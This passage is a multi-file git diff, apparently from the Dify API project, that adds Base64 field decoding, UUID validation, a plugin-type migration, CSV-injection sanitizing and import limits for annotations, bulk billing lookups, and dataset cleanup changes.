+"""
+Field Encoding/Decoding Utilities
+
+Provides Base64 decoding for sensitive fields (password, verification code)
+received from the frontend.
+
+Note: This uses Base64 encoding for obfuscation, not cryptographic encryption.
+Real security relies on HTTPS for transport layer encryption.
+"""
+
+import base64
+import logging
+
+logger = logging.getLogger(__name__)
+
+
+class FieldEncryption:
+    """Handle decoding of sensitive fields during transmission"""
+
+    @classmethod
+    def decrypt_field(cls, encoded_text: str) -> str | None:
+        """
+        Decode Base64 encoded field from frontend.
+
+        Args:
+            encoded_text: Base64 encoded text from frontend
+
+        Returns:
+            Decoded plaintext, or None if decoding fails
+        """
+        try:
+            # Decode base64
+            decoded_bytes = base64.b64decode(encoded_text)
+            decoded_text = decoded_bytes.decode("utf-8")
+            logger.debug("Field decoding successful")
+            return decoded_text
+
+        except Exception:
+            # Decoding failed - return None to trigger error in caller
+            return None
+
+    @classmethod
+    def decrypt_password(cls, encrypted_password: str) -> str | None:
+        """
+        Decrypt password field
+
+        Args:
+            encrypted_password: Encrypted password from frontend
+
+        Returns:
+            Decrypted password or None if decryption fails
+        """
+        return cls.decrypt_field(encrypted_password)
+
+    @classmethod
+    def decrypt_verification_code(cls, encrypted_code: str) -> str | None:
+        """
+        Decrypt verification code field
+
+        Args:
+            encrypted_code: Encrypted code from frontend
+
+        Returns:
+            Decrypted code or None if decryption fails
+        """
+        return cls.decrypt_field(encrypted_code)
diff --git a/api/libs/helper.py b/api/libs/helper.py
index a278ace6ad..74e1808e49 100644
--- a/api/libs/helper.py
+++ b/api/libs/helper.py
@@ -11,6 +11,7 @@ from collections.abc import Generator, Mapping
 from datetime import datetime
 from hashlib import sha256
 from typing import TYPE_CHECKING, Annotated, Any, Optional, Union, cast
+from uuid import UUID
 from zoneinfo import available_timezones
 
 from flask import Response, stream_with_context
@@ -119,6 +120,19 @@ def uuid_value(value: Any) -> str:
         raise ValueError(error)
 
 
+def normalize_uuid(value: str | UUID) -> str:
+    if not value:
+        return ""
+
+    try:
+        return uuid_value(value)
+    except ValueError as exc:
+        raise ValueError("must be a valid UUID") from exc
+
+
+UUIDStrOrEmpty = Annotated[str, AfterValidator(normalize_uuid)]
+
+
 def alphanumeric(value: str):
     # check if the value is alphanumeric and underlined
     if re.match(r"^[a-zA-Z0-9_]+$", value):
@@ -184,7 +198,7 @@ def timezone(timezone_string):
 def convert_datetime_to_date(field, target_timezone: str = ":tz"):
     if dify_config.DB_TYPE == "postgresql":
         return f"DATE(DATE_TRUNC('day', {field} AT TIME ZONE 'UTC' AT TIME ZONE {target_timezone}))"
-    elif dify_config.DB_TYPE == "mysql":
+    elif dify_config.DB_TYPE in ["mysql", "oceanbase", "seekdb"]:
         return f"DATE(CONVERT_TZ({field}, 'UTC', {target_timezone}))"
     else:
         raise NotImplementedError(f"Unsupported database type: {dify_config.DB_TYPE}")
@@ -215,7 +229,11 @@ def generate_text_hash(text: str) -> str:
 
 def compact_generate_response(response: Union[Mapping, Generator, RateLimitGenerator]) -> Response:
     if isinstance(response, dict):
-        return Response(response=json.dumps(jsonable_encoder(response)), status=200, mimetype="application/json")
+        return Response(
+            response=json.dumps(jsonable_encoder(response)),
+            status=200,
+            content_type="application/json; charset=utf-8",
+        )
     else:
 
         def generate() -> Generator:
diff --git a/api/migrations/versions/2025_12_16_1817-03ea244985ce_add_type_column_not_null_default_tool.py b/api/migrations/versions/2025_12_16_1817-03ea244985ce_add_type_column_not_null_default_tool.py
new file mode 100644
index 0000000000..2bdd430e81
--- /dev/null
+++ b/api/migrations/versions/2025_12_16_1817-03ea244985ce_add_type_column_not_null_default_tool.py
@@ -0,0 +1,31 @@
+"""add type column not null default tool
+
+Revision ID: 03ea244985ce
+Revises: d57accd375ae
+Create Date: 2025-12-16 18:17:12.193877
+
+"""
+from alembic import op
+import models as models
+import sqlalchemy as sa
+from sqlalchemy.dialects import postgresql
+
+# revision identifiers, used by Alembic.
+revision = '03ea244985ce'
+down_revision = 'd57accd375ae'
+branch_labels = None
+depends_on = None
+
+
+def upgrade():
+    # ### commands auto generated by Alembic - please adjust! ###
+    with op.batch_alter_table('pipeline_recommended_plugins', schema=None) as batch_op:
+        batch_op.add_column(sa.Column('type', sa.String(length=50), server_default=sa.text("'tool'"), nullable=False))
+    # ### end Alembic commands ###
+
+
+def downgrade():
+    # ### commands auto generated by Alembic - please adjust! ###
+    with op.batch_alter_table('pipeline_recommended_plugins', schema=None) as batch_op:
+        batch_op.drop_column('type')
+    # ### end Alembic commands ###
diff --git a/api/models/dataset.py b/api/models/dataset.py
index ba2eaf6749..445ac6086f 100644
--- a/api/models/dataset.py
+++ b/api/models/dataset.py
@@ -1532,6 +1532,7 @@ class PipelineRecommendedPlugin(TypeBase):
     )
     plugin_id: Mapped[str] = mapped_column(LongText, nullable=False)
     provider_name: Mapped[str] = mapped_column(LongText, nullable=False)
+    type: Mapped[str] = mapped_column(sa.String(50), nullable=False, server_default=sa.text("'tool'"))
     position: Mapped[int] = mapped_column(sa.Integer, nullable=False, default=0)
     active: Mapped[bool] = mapped_column(sa.Boolean, nullable=False, default=True)
     created_at: Mapped[datetime] = mapped_column(
diff --git a/api/models/model.py b/api/models/model.py
index c8fbdc40ec..88cb945b3f 100644
--- a/api/models/model.py
+++ b/api/models/model.py
@@ -111,7 +111,11 @@ class App(Base):
         else:
             app_model_config = self.app_model_config
             if app_model_config:
-                return app_model_config.pre_prompt
+                pre_prompt = app_model_config.pre_prompt or ""
+                # Truncate to 200 characters with ellipsis if using prompt as description
+                if len(pre_prompt) > 200:
+                    return pre_prompt[:200] + "..."
+                return pre_prompt
             else:
                 return ""
 
diff --git a/api/pyproject.toml b/api/pyproject.toml
index 2a8432f571..870de33f4b 100644
--- a/api/pyproject.toml
+++ b/api/pyproject.toml
@@ -1,9 +1,10 @@
 [project]
 name = "dify-api"
-version = "1.11.0"
+version = "1.11.1"
 requires-python = ">=3.11,<3.13"
 
 dependencies = [
+    "aliyun-log-python-sdk~=0.9.37",
     "arize-phoenix-otel~=0.9.2",
     "azure-identity==1.16.1",
     "beautifulsoup4==4.12.2",
@@ -31,6 +32,7 @@ dependencies = [
     "httpx[socks]~=0.27.0",
     "jieba==0.42.1",
     "json-repair>=0.41.1",
+    "jsonschema>=4.25.1",
     "langfuse~=2.51.3",
     "langsmith~=0.1.77",
     "markdown~=3.5.1",
@@ -91,7 +93,6 @@ dependencies = [
     "weaviate-client==4.17.0",
     "apscheduler>=3.11.0",
     "weave>=0.52.16",
-    "jsonschema>=4.25.1",
 ]
 # Before adding new dependency, consider place it in
 # alphabet order (a-z) and suitable group.
@@ -216,6 +217,7 @@ vdb = [
     "pymochow==2.2.9",
     "pyobvector~=0.2.17",
     "qdrant-client==1.9.0",
+    "intersystems-irispython>=5.1.0",
     "tablestore==6.3.7",
     "tcvectordb~=1.6.4",
     "tidb-vector==0.0.9",
diff --git a/api/pytest.ini b/api/pytest.ini
index afb53b47cc..4a9470fa0c 100644
--- a/api/pytest.ini
+++ b/api/pytest.ini
@@ -1,5 +1,5 @@
 [pytest]
-addopts = --cov=./api --cov-report=json --cov-report=xml
+addopts = --cov=./api --cov-report=json
 env =
     ANTHROPIC_API_KEY = sk-ant-api11-IamNotARealKeyJustForMockTestKawaiiiiiiiiii-NotBaka-ASkksz
     AZURE_OPENAI_API_BASE = https://difyai-openai.openai.azure.com
diff --git a/api/services/annotation_service.py b/api/services/annotation_service.py
index 9258def907..d03cbddceb 100644
--- a/api/services/annotation_service.py
+++ b/api/services/annotation_service.py
@@ -1,10 +1,14 @@
+import logging
 import uuid
 
 import pandas as pd
+
+logger = logging.getLogger(__name__)
 from sqlalchemy import or_, select
 from werkzeug.datastructures import FileStorage
 from werkzeug.exceptions import NotFound
 
+from core.helper.csv_sanitizer import CSVSanitizer
 from extensions.ext_database import db
 from extensions.ext_redis import redis_client
 from libs.datetime_utils import naive_utc_now
@@ -155,6 +159,12 @@ class AppAnnotationService:
 
     @classmethod
     def export_annotation_list_by_app_id(cls, app_id: str):
+        """
+        Export all annotations for an app with CSV injection protection.
+
+        Sanitizes question and content fields to prevent formula injection attacks
+        when exported to CSV format.
+        """
         # get app info
         _, current_tenant_id = current_account_with_tenant()
         app = (
@@ -171,6 +181,16 @@ class AppAnnotationService:
             .order_by(MessageAnnotation.created_at.desc())
             .all()
         )
+
+        # Sanitize CSV-injectable fields to prevent formula injection
+        for annotation in annotations:
+            # Sanitize question field if present
+            if annotation.question:
+                annotation.question = CSVSanitizer.sanitize_value(annotation.question)
+            # Sanitize content field (answer)
+            if annotation.content:
+                annotation.content = CSVSanitizer.sanitize_value(annotation.content)
+
         return annotations
 
     @classmethod
@@ -330,6 +350,18 @@ class AppAnnotationService:
 
     @classmethod
     def batch_import_app_annotations(cls, app_id, file: FileStorage):
+        """
+        Batch import annotations from CSV file with enhanced security checks.
+
+        Security features:
+        - File size validation
+        - Row count limits (min/max)
+        - Memory-efficient CSV parsing
+        - Subscription quota validation
+        - Concurrency tracking
+        """
+        from configs import dify_config
+
         # get app info
         current_user, current_tenant_id = current_account_with_tenant()
         app = (
@@ -341,16 +373,80 @@ class AppAnnotationService:
         if not app:
             raise NotFound("App not found")
 
+        job_id: str | None = None  # Initialize to avoid unbound variable error
         try:
-            # Skip the first row
-            df = pd.read_csv(file.stream, dtype=str)
-            result = []
-            for _, row in df.iterrows():
-                content = {"question": row.iloc[0], "answer": row.iloc[1]}
+            # Quick row count check before full parsing (memory efficient)
+            # Read only first chunk to estimate row count
+            file.stream.seek(0)
+            first_chunk = file.stream.read(8192)  # Read first 8KB
+            file.stream.seek(0)
+
+            # Estimate row count from first chunk
+            newline_count = first_chunk.count(b"\n")
+            if newline_count == 0:
+                raise ValueError("The CSV file appears to be empty or invalid.")
+
+            # Parse CSV with row limit to prevent memory exhaustion
+            # Use chunksize for memory-efficient processing
+            max_records = dify_config.ANNOTATION_IMPORT_MAX_RECORDS
+            min_records = dify_config.ANNOTATION_IMPORT_MIN_RECORDS
+
+            # Read CSV in chunks to avoid loading entire file into memory
+            df = pd.read_csv(
+                file.stream,
+                dtype=str,
+                nrows=max_records + 1,  # Read one extra to detect overflow
+                engine="python",
+                on_bad_lines="skip",  # Skip malformed lines instead of crashing
+            )
+
+            # Validate column count
+            if len(df.columns) < 2:
+                raise ValueError("Invalid CSV format. The file must contain at least 2 columns (question and answer).")
+
+            # Build result list with validation
+            result: list[dict] = []
+            for idx, row in df.iterrows():
+                # Stop if we exceed the limit
+                if len(result) >= max_records:
+                    raise ValueError(
+                        f"The CSV file contains too many records. Maximum {max_records} records allowed per import. "
+                        f"Please split your file into smaller batches."
+                    )
+
+                # Extract and validate question and answer
+                try:
+                    question_raw = row.iloc[0]
+                    answer_raw = row.iloc[1]
+                except (IndexError, KeyError):
+                    continue  # Skip malformed rows
+
+                # Convert to string and strip whitespace
+                question = str(question_raw).strip() if question_raw is not None else ""
+                answer = str(answer_raw).strip() if answer_raw is not None else ""
+
+                # Skip empty entries or NaN values
+                if not question or not answer or question.lower() == "nan" or answer.lower() == "nan":
+                    continue
+
+                # Validate length constraints (idx is pandas index, convert to int for display)
+                row_num = int(idx) + 2 if isinstance(idx, (int, float)) else len(result) + 2
+                if len(question) > 2000:
+                    raise ValueError(f"Question at row {row_num} is too long. Maximum 2000 characters allowed.")
+                if len(answer) > 10000:
+                    raise ValueError(f"Answer at row {row_num} is too long. Maximum 10000 characters allowed.")
+
+                content = {"question": question, "answer": answer}
                 result.append(content)
-            if len(result) == 0:
-                raise ValueError("The CSV file is empty.")
-            # check annotation limit
+
+            # Validate minimum records
+            if len(result) < min_records:
+                raise ValueError(
+                    f"The CSV file must contain at least {min_records} valid annotation record(s). "
+                    f"Found {len(result)} valid record(s)."
+                )
+
+            # Check annotation quota limit
             features = FeatureService.get_features(current_tenant_id)
             if features.billing.enabled:
                 annotation_quota_limit = features.annotation_quota_limit
@@ -359,12 +455,34 @@ class AppAnnotationService:
             # async job
             job_id = str(uuid.uuid4())
             indexing_cache_key = f"app_annotation_batch_import_{str(job_id)}"
-            # send batch add segments task
+
+            # Register job in active tasks list for concurrency tracking
+            current_time = int(naive_utc_now().timestamp() * 1000)
+            active_jobs_key = f"annotation_import_active:{current_tenant_id}"
+            redis_client.zadd(active_jobs_key, {job_id: current_time})
+            redis_client.expire(active_jobs_key, 7200)  # 2 hours TTL
+
+            # Set job status
             redis_client.setnx(indexing_cache_key, "waiting")
             batch_import_annotations_task.delay(str(job_id), result, app_id, current_tenant_id, current_user.id)
-        except Exception as e:
+
+        except ValueError as e:
             return {"error_msg": str(e)}
-        return {"job_id": job_id, "job_status": "waiting"}
+        except Exception as e:
+            # Clean up active job registration on error (only if job was created)
+            if job_id is not None:
+                try:
+                    active_jobs_key = f"annotation_import_active:{current_tenant_id}"
+                    redis_client.zrem(active_jobs_key, job_id)
+                except Exception:
+                    # Silently ignore cleanup errors - the job will be auto-expired
+                    logger.debug("Failed to clean up active job tracking during error handling")
+
+            # Check if it's a CSV parsing error
+            error_str = str(e)
+            return {"error_msg": f"An error occurred while processing the file: {error_str}"}
+
+        return {"job_id": job_id, "job_status": "waiting", "record_count": len(result)}
 
     @classmethod
     def get_annotation_hit_histories(cls, app_id: str, annotation_id: str, page, limit):
diff --git a/api/services/billing_service.py b/api/services/billing_service.py
index 54e1c9d285..3d7cb6cc8d 100644
--- a/api/services/billing_service.py
+++ b/api/services/billing_service.py
@@ -1,8 +1,12 @@
+import logging
 import os
+from collections.abc import Sequence
 from typing import Literal
 
 import httpx
+from pydantic import TypeAdapter
 from tenacity import retry, retry_if_exception_type, stop_before_delay, wait_fixed
+from typing_extensions import TypedDict
 from werkzeug.exceptions import InternalServerError
 
 from enums.cloud_plan import CloudPlan
@@ -11,6 +15,15 @@ from extensions.ext_redis import redis_client
 from libs.helper import RateLimiter
 from models import Account, TenantAccountJoin, TenantAccountRole
 
+logger = logging.getLogger(__name__)
+
+
+class SubscriptionPlan(TypedDict):
+    """Tenant subscriptionplan information."""
+
+    plan: str
+    expiration_date: int
+
 
 class BillingService:
     base_url = os.environ.get("BILLING_API_URL", "BILLING_API_URL")
@@ -239,3 +252,39 @@ class BillingService:
     def sync_partner_tenants_bindings(cls, account_id: str, partner_key: str, click_id: str):
         payload = {"account_id": account_id, "click_id": click_id}
         return cls._send_request("PUT", f"/partners/{partner_key}/tenants", json=payload)
+
+    @classmethod
+    def get_plan_bulk(cls, tenant_ids: Sequence[str]) -> dict[str, SubscriptionPlan]:
+        """
+        Bulk fetch billing subscription plan via billing API.
+        Payload: {"tenant_ids": ["t1", "t2", ...]} (max 200 per request)
+        Returns:
+            Mapping of tenant_id -> {plan: str, expiration_date: int}
+        """
+        results: dict[str, SubscriptionPlan] = {}
+        subscription_adapter = TypeAdapter(SubscriptionPlan)
+
+        chunk_size = 200
+        for i in range(0, len(tenant_ids), chunk_size):
+            chunk = tenant_ids[i : i + chunk_size]
+            try:
+                resp = cls._send_request("POST", "/subscription/plan/batch", json={"tenant_ids": chunk})
+                data = resp.get("data", {})
+
+                for tenant_id, plan in data.items():
+                    subscription_plan = subscription_adapter.validate_python(plan)
+                    results[tenant_id] = subscription_plan
+            except Exception:
+                logger.exception("Failed to fetch billing info batch for tenants: %s", chunk)
+                continue
+
+        return results
+
+    @classmethod
+    def get_expired_subscription_cleanup_whitelist(cls) -> Sequence[str]:
+        resp = cls._send_request("GET", "/subscription/cleanup/whitelist")
+        data = resp.get("data", [])
+        tenant_whitelist = []
+        for item in data:
+            tenant_whitelist.append(item["tenant_id"])
+        return tenant_whitelist
diff --git a/api/services/dataset_service.py b/api/services/dataset_service.py
index 7841b8b33d..970192fde5 100644
--- a/api/services/dataset_service.py
+++ b/api/services/dataset_service.py
@@ -1419,7 +1419,7 @@ class DocumentService:
 
         document.name = name
         db.session.add(document)
-        if document.data_source_info_dict:
+        if document.data_source_info_dict and "upload_file_id" in document.data_source_info_dict:
             db.session.query(UploadFile).where(
                 UploadFile.id == document.data_source_info_dict["upload_file_id"]
             ).update({UploadFile.name: name})
@@ -1636,6 +1636,20 @@ class DocumentService:
                         return [], ""
                     db.session.add(dataset_process_rule)
                     db.session.flush()
+                else:
+                    # Fallback when no process_rule provided in knowledge_config:
+                    # 1) reuse dataset.latest_process_rule if present
+                    # 2) otherwise create an automatic rule
+                    dataset_process_rule = getattr(dataset, "latest_process_rule", None)
+                    if not dataset_process_rule:
+                        dataset_process_rule = DatasetProcessRule(
+                            dataset_id=dataset.id,
+                            mode="automatic",
+                            rules=json.dumps(DatasetProcessRule.AUTOMATIC_RULES),
+                            created_by=account.id,
+                        )
+                        db.session.add(dataset_process_rule)
+                        db.session.flush()
             lock_name = f"add_document_lock_dataset_id_{dataset.id}"
             try:
                 with redis_client.lock(lock_name, timeout=600):
@@ -1647,65 +1661,67 @@ class DocumentService:
                         if not knowledge_config.data_source.info_list.file_info_list:
                             raise ValueError("File source info is required")
                         upload_file_list = knowledge_config.data_source.info_list.file_info_list.file_ids
-                        for file_id in upload_file_list:
-                            file = (
-                                db.session.query(UploadFile)
-                                .where(UploadFile.tenant_id == dataset.tenant_id, UploadFile.id == file_id)
-                                .first()
+                        files = (
+                            db.session.query(UploadFile)
+                            .where(
+                                UploadFile.tenant_id == dataset.tenant_id,
+                                UploadFile.id.in_(upload_file_list),
                             )
+                            .all()
+                        )
+                        if len(files) != len(set(upload_file_list)):
+                            raise FileNotExistsError("One or more files not found.")
 
-                            # raise error if file not found
-                            if not file:
-                                raise FileNotExistsError()
-
-                            file_name = file.name
+                        file_names = [file.name for file in files]
+                        db_documents = (
+                            db.session.query(Document)
+                            .where(
+                                Document.dataset_id == dataset.id,
+                                Document.tenant_id == current_user.current_tenant_id,
+                                Document.data_source_type == "upload_file",
+                                Document.enabled == True,
+                                Document.name.in_(file_names),
+                            )
+                            .all()
+                        )
+                        documents_map = {document.name: document for document in db_documents}
+                        for file in files:
                             data_source_info: dict[str, str | bool] = {
-                                "upload_file_id": file_id,
+                                "upload_file_id": file.id,
                             }
-                            # check duplicate
-                            if knowledge_config.duplicate:
-                                document = (
-                                    db.session.query(Document)
-                                    .filter_by(
-                                        dataset_id=dataset.id,
-                                        tenant_id=current_user.current_tenant_id,
-                                        data_source_type="upload_file",
-                                        enabled=True,
-                                        name=file_name,
-                                    )
-                                    .first()
+                            document = documents_map.get(file.name)
+                            if knowledge_config.duplicate and document:
+                                document.dataset_process_rule_id = dataset_process_rule.id
+                                document.updated_at = naive_utc_now()
+                                document.created_from = created_from
+                                document.doc_form = knowledge_config.doc_form
+                                document.doc_language = knowledge_config.doc_language
+                                document.data_source_info = json.dumps(data_source_info)
+                                document.batch = batch
+                                document.indexing_status = "waiting"
+                                db.session.add(document)
+                                documents.append(document)
+                                duplicate_document_ids.append(document.id)
+                                continue
+                            else:
+                                document = DocumentService.build_document(
+                                    dataset,
+                                    dataset_process_rule.id,
+                                    knowledge_config.data_source.info_list.data_source_type,
+                                    knowledge_config.doc_form,
+                                    knowledge_config.doc_language,
+                                    data_source_info,
+                                    created_from,
+                                    position,
+                                    account,
+                                    file.name,
+                                    batch,
                                 )
-                                if document:
-                                    document.dataset_process_rule_id = dataset_process_rule.id
-                                    document.updated_at = naive_utc_now()
-                                    document.created_from = created_from
-                                    document.doc_form = knowledge_config.doc_form
-                                    document.doc_language = knowledge_config.doc_language
-                                    document.data_source_info = json.dumps(data_source_info)
-                                    document.batch = batch
-                                    document.indexing_status = "waiting"
-                                    db.session.add(document)
-                                    documents.append(document)
-                                    duplicate_document_ids.append(document.id)
-                                    continue
-                            document = DocumentService.build_document(
-                                dataset,
-                                dataset_process_rule.id,
-                                knowledge_config.data_source.info_list.data_source_type,
-                                knowledge_config.doc_form,
-                                knowledge_config.doc_language,
-                                data_source_info,
-                                created_from,
-                                position,
-                                account,
-                                file_name,
-                                batch,
-                            )
-                            db.session.add(document)
-                            db.session.flush()
-                            document_ids.append(document.id)
-                            documents.append(document)
-                            position += 1
+                                db.session.add(document)
+                                db.session.flush()
+                                document_ids.append(document.id)
+                                documents.append(document)
+                                position += 1
                     elif knowledge_config.data_source.info_list.data_source_type == "notion_import":
                         notion_info_list = knowledge_config.data_source.info_list.notion_info_list  # type: ignore
                         if not notion_info_list:
@@ -2801,20 +2817,20 @@ class SegmentService:
                     db.session.add(binding)
                 db.session.commit()
 
-                # save vector index
-                try:
-                    VectorService.create_segments_vector(
-                        [args["keywords"]], [segment_document], dataset, document.doc_form
-                    )
-                except Exception as e:
-                    logger.exception("create segment index failed")
-                    segment_document.enabled = False
-                    segment_document.disabled_at = naive_utc_now()
-                    segment_document.status = "error"
-                    segment_document.error = str(e)
-                    db.session.commit()
-                segment = db.session.query(DocumentSegment).where(DocumentSegment.id == segment_document.id).first()
-                return segment
+            # save vector index
+            try:
+                keywords = args.get("keywords")
+                keywords_list = [keywords] if keywords is not None else None
+                VectorService.create_segments_vector(keywords_list, [segment_document], dataset, document.doc_form)
+            except Exception as e:
+                logger.exception("create segment index failed")
+                segment_document.enabled = False
+                segment_document.disabled_at = naive_utc_now()
+                segment_document.status = "error"
+                segment_document.error = str(e)
+                db.session.commit()
+            segment = db.session.query(DocumentSegment).where(DocumentSegment.id == segment_document.id).first()
+            return segment
         except LockNotOwnedError:
             pass
 
diff --git a/api/services/entities/knowledge_entities/rag_pipeline_entities.py b/api/services/entities/knowledge_entities/rag_pipeline_entities.py
index a97ccab914..cbb0efcc2a 100644
--- a/api/services/entities/knowledge_entities/rag_pipeline_entities.py
+++ b/api/services/entities/knowledge_entities/rag_pipeline_entities.py
@@ -23,7 +23,7 @@ class RagPipelineDatasetCreateEntity(BaseModel):
     description: str
     icon_info: IconInfo
     permission: str
-    partial_member_list: list[str] | None = None
+    partial_member_list: list[dict[str, str]] | None = None
     yaml_content: str | None = None
 
 
diff --git a/api/services/hit_testing_service.py b/api/services/hit_testing_service.py
index 8e8e78f83f..8cbf3a25c3 100644
--- a/api/services/hit_testing_service.py
+++ b/api/services/hit_testing_service.py
@@ -178,8 +178,8 @@ class HitTestingService:
 
     @classmethod
     def hit_testing_args_check(cls, args):
-        query = args["query"]
-        attachment_ids = args["attachment_ids"]
+        query = args.get("query")
+        attachment_ids = args.get("attachment_ids")
 
         if not attachment_ids and not query:
             raise ValueError("Query or attachment_ids is required")
diff --git a/api/services/rag_pipeline/rag_pipeline.py b/api/services/rag_pipeline/rag_pipeline.py
index 097d16e2a7..f53448e7fe 100644
--- a/api/services/rag_pipeline/rag_pipeline.py
+++ b/api/services/rag_pipeline/rag_pipeline.py
@@ -1248,14 +1248,13 @@ class RagPipelineService:
             session.commit()
         return workflow_node_execution_db_model
 
-    def get_recommended_plugins(self) -> dict:
+    def get_recommended_plugins(self, type: str) -> dict:
         # Query active recommended plugins
-        pipeline_recommended_plugins = (
-            db.session.query(PipelineRecommendedPlugin)
-            .where(PipelineRecommendedPlugin.active == True)
-            .order_by(PipelineRecommendedPlugin.position.asc())
-            .all()
-        )
+        query = db.session.query(PipelineRecommendedPlugin).where(PipelineRecommendedPlugin.active == True)
+        if type and type != "all":
+            query = query.where(PipelineRecommendedPlugin.type == type)
+
+        pipeline_recommended_plugins = query.order_by(PipelineRecommendedPlugin.position.asc()).all()
 
         if not pipeline_recommended_plugins:
             return {
diff --git a/api/services/trigger/webhook_service.py b/api/services/trigger/webhook_service.py
index 4b3e1330fd..5c4607d400 100644
--- a/api/services/trigger/webhook_service.py
+++ b/api/services/trigger/webhook_service.py
@@ -33,6 +33,11 @@ from services.errors.app import QuotaExceededError
 from services.trigger.app_trigger_service import AppTriggerService
 from services.workflow.entities import WebhookTriggerData
 
+try:
+    import magic
+except ImportError:
+    magic = None  # type: ignore[assignment]
+
 logger = logging.getLogger(__name__)
 
 
@@ -317,7 +322,8 @@ class WebhookService:
         try:
             file_content = request.get_data()
             if file_content:
-                file_obj = cls._create_file_from_binary(file_content, "application/octet-stream", webhook_trigger)
+                mimetype = cls._detect_binary_mimetype(file_content)
+                file_obj = cls._create_file_from_binary(file_content, mimetype, webhook_trigger)
                 return {"raw": file_obj.to_dict()}, {}
             else:
                 return {"raw": None}, {}
@@ -341,6 +347,18 @@ class WebhookService:
             body = {"raw": ""}
         return body, {}
 
+    @staticmethod
+    def _detect_binary_mimetype(file_content: bytes) -> str:
+        """Guess MIME type for binary payloads using python-magic when available."""
+        if magic is not None:
+            try:
+                detected = magic.from_buffer(file_content[:1024], mime=True)
+                if detected:
+                    return detected
+            except Exception:
+                logger.debug("python-magic detection failed for octet-stream payload")
+        return "application/octet-stream"
+
     @classmethod
     def _process_file_uploads(
         cls, files: Mapping[str, FileStorage], webhook_trigger: WorkflowWebhookTrigger
diff --git a/api/services/variable_truncator.py b/api/services/variable_truncator.py
index 6eb8d0031d..0f969207cf 100644
--- a/api/services/variable_truncator.py
+++ b/api/services/variable_truncator.py
@@ -410,9 +410,12 @@ class VariableTruncator(BaseTruncator):
     @overload
     def _truncate_json_primitives(self, val: None, target_size: int) -> _PartResult[None]: ...
 
+    @overload
+    def _truncate_json_primitives(self, val: File, target_size: int) -> _PartResult[File]: ...
+
     def _truncate_json_primitives(
         self,
-        val: UpdatedVariable | str | list[object] | dict[str, object] | bool | int | float | None,
+        val: UpdatedVariable | File | str | list[object] | dict[str, object] | bool | int | float | None,
         target_size: int,
     ) -> _PartResult[Any]:
         """Truncate a value within an object to fit within budget."""
@@ -425,6 +428,9 @@ class VariableTruncator(BaseTruncator):
             return self._truncate_array(val, target_size)
         elif isinstance(val, dict):
             return self._truncate_object(val, target_size)
+        elif isinstance(val, File):
+            # File objects should not be truncated, return as-is
+            return _PartResult(val, self.calculate_json_size(val), False)
         elif val is None or isinstance(val, (bool, int, float)):
             return _PartResult(val, self.calculate_json_size(val), False)
         else:
diff --git a/api/tasks/annotation/batch_import_annotations_task.py b/api/tasks/annotation/batch_import_annotations_task.py
index 8e46e8d0e3..775814318b 100644
--- a/api/tasks/annotation/batch_import_annotations_task.py
+++ b/api/tasks/annotation/batch_import_annotations_task.py
@@ -30,6 +30,8 @@ def batch_import_annotations_task(job_id: str, content_list: list[dict], app_id:
     logger.info(click.style(f"Start batch import annotation: {job_id}", fg="green"))
     start_at = time.perf_counter()
     indexing_cache_key = f"app_annotation_batch_import_{str(job_id)}"
+    active_jobs_key = f"annotation_import_active:{tenant_id}"
+
     # get app info
     app = db.session.query(App).where(App.id == app_id, App.tenant_id == tenant_id, App.status == "normal").first()
 
@@ -91,4 +93,13 @@ def batch_import_annotations_task(job_id: str, content_list: list[dict], app_id:
             redis_client.setex(indexing_error_msg_key, 600, str(e))
             logger.exception("Build index for batch import annotations failed")
         finally:
+            # Clean up active job tracking to release concurrency slot
+            try:
+                redis_client.zrem(active_jobs_key, job_id)
+                logger.debug("Released concurrency slot for job: %s", job_id)
+            except Exception as cleanup_error:
+                # Log but don't fail if cleanup fails - the job will be auto-expired
+                logger.warning("Failed to clean up active job tracking for %s: %s", job_id, cleanup_error)
+
+            # Close database session
             db.session.close()
diff --git a/api/tasks/clean_dataset_task.py b/api/tasks/clean_dataset_task.py
index 8608df6b8e..b4d82a150d 100644
--- a/api/tasks/clean_dataset_task.py
+++ b/api/tasks/clean_dataset_task.py
@@ -9,6 +9,7 @@ from core.rag.index_processor.index_processor_factory import IndexProcessorFacto
 from core.tools.utils.web_reader_tool import get_image_upload_file_ids
 from extensions.ext_database import db
 from extensions.ext_storage import storage
+from models import WorkflowType
 from models.dataset import (
     AppDatasetJoin,
     Dataset,
@@ -18,9 +19,11 @@ from models.dataset import (
     DatasetQuery,
     Document,
     DocumentSegment,
+    Pipeline,
     SegmentAttachmentBinding,
 )
 from models.model import UploadFile
+from models.workflow import Workflow
 
 logger = logging.getLogger(__name__)
 
@@ -34,6 +37,7 @@ def clean_dataset_task(
     index_struct: str,
     collection_binding_id: str,
     doc_form: str,
+    pipeline_id: str | None = None,
 ):
     """
     Clean dataset when dataset deleted.
@@ -135,6 +139,14 @@ def clean_dataset_task(
         # delete dataset metadata
         db.session.query(DatasetMetadata).where(DatasetMetadata.dataset_id == dataset_id).delete()
         db.session.query(DatasetMetadataBinding).where(DatasetMetadataBinding.dataset_id == dataset_id).delete()
+        # delete pipeline and workflow
+        if pipeline_id:
+            db.session.query(Pipeline).where(Pipeline.id == pipeline_id).delete()
+            db.session.query(Workflow).where(
+                Workflow.tenant_id == tenant_id,
+                Workflow.app_id == pipeline_id,
+                Workflow.type == WorkflowType.RAG_PIPELINE,
+            ).delete()
         # delete files
         if documents:
             for document in documents:
diff --git a/api/tasks/delete_account_task.py b/api/tasks/delete_account_task.py
index fb5eb1d691..cb703cc263 100644
--- a/api/tasks/delete_account_task.py
+++ b/api/tasks/delete_account_task.py
@@ -2,6 +2,7 @@ import logging
 
 from celery import shared_task
 
+from configs import dify_config
 from extensions.ext_database import db
 from models import Account
 from services.billing_service import BillingService
@@ -14,7 +15,8 @@ logger = logging.getLogger(__name__)
 def delete_account_task(account_id):
     account = db.session.query(Account).where(Account.id == account_id).first()
     try:
-        BillingService.delete_account(account_id)
+        if dify_config.BILLING_ENABLED:
+            BillingService.delete_account(account_id)
     except Exception:
         logger.exception("Failed to delete account %s from billing service.", account_id)
         raise
diff --git a/api/tests/integration_tests/.env.example b/api/tests/integration_tests/.env.example
index e508ceef66..acc268f1d4 100644
--- a/api/tests/integration_tests/.env.example
+++ b/api/tests/integration_tests/.env.example
@@ -55,7 +55,7 @@ WEB_API_CORS_ALLOW_ORIGINS=http://127.0.0.1:3000,*
 CONSOLE_CORS_ALLOW_ORIGINS=http://127.0.0.1:3000,*
 
 # Vector database configuration
-# support: weaviate, qdrant, milvus, myscale, relyt, pgvecto_rs, pgvector, pgvector, chroma, opensearch, tidb_vector, couchbase, vikingdb, upstash, lindorm, oceanbase
